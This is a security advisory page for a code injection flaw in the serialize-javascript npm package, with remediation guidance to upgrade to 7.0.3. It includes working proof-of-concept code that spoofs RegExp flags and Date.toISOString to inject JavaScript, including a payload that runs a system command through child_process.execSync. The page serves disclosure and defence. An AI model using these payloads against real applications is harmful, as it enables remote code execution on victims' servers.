GHSA-5c6j-r48x-rmvq Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

Not scored Published

Attackers can execute arbitrary code by injecting malicious JavaScript into serialized RegExp or Date objects, affecting applications using the serialize-javascript library.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-5c6j-r48x-rmvq?

GHSA-5c6j-r48x-rmvq is a code injection vulnerability in serialize-javascript, published on 28 Feb 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or &lt;script&gt; tags), the injected code executes.

const serialize = require(&#39;serialize-javascript&#39;);
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, &#39;source&#39;, { get: () =&gt; &#39;x&#39; });
Object.defineProperty(fakeRegex, &#39;flags&#39;, {
  get: () =&gt; &#39;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#39;
});
fakeRegex.toJSON = function() { return &#39;@placeholder&#39;; };
const output = serialize({ re: fakeRegex });
// Output: {&#34;re&#34;:new RegExp(&#34;x&#34;, &#34;&#34;+(global.PWNED=&#34;CODE_INJECTION_VIA_FLAGS&#34;)+&#34;&#34;)}
let obj;
eval(&#39;obj = &#39; + output);
console.log(global.PWNED); // &#34;CODE_INJECTION_VIA_FLAGS&#34; — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require(&#39;serialize-javascript&#39;);
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return &#39;&#34;+(global.DATE_PWNED=&#34;DATE_INJECTION&#34;)+&#34;&#39;; };
fakeDate.toJSON = function() { return &#39;2024-01-01&#39;; };
const output = serialize({ d: fakeDate });
// Output: {&#34;d&#34;:new Date(&#34;&#34;+(global.DATE_PWNED=&#34;DATE_INJECTION&#34;)+&#34;&#34;)}
eval(&#39;obj = &#39; + output);
console.log(global.DATE_PWNED); // &#34;DATE_INJECTION&#34; — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require(&#39;serialize-javascript&#39;);
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, &#39;source&#39;, { get: () =&gt; &#39;x&#39; });
Object.defineProperty(rceRegex, &#39;flags&#39;, {
  get: () =&gt; &#39;&#34;+require(&#34;child_process&#34;).execSync(&#34;id&#34;).toString()+&#34;&#39;
});
rceRegex.toJSON = function() { return &#39;@rce&#39;; };
const output = serialize({ re: rceRegex });
// Output: {&#34;re&#34;:new RegExp(&#34;x&#34;, &#34;&#34;+require(&#34;child_process&#34;).execSync(&#34;id&#34;).toString()+&#34;&#34;)}
// When eval&#39;d on a Node.js server, executes the &#34;id&#34; system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Which versions are affected by GHSA-5c6j-r48x-rmvq?

2 open source packages ship an affected version, including serialize-javascript.

PackageAffectedFixed in
serialize-javascript npmAll versions7.0.3
serialize-javascript npmAll versions7.0.3

How do I fix GHSA-5c6j-r48x-rmvq?

Upgrade serialize-javascript to 7.0.3 or later.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is GHSA-5c6j-r48x-rmvq being exploited?

There is no known exploitation of GHSA-5c6j-r48x-rmvq in the wild and no public exploit code.

Sources

Is GHSA-5c6j-r48x-rmvq in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free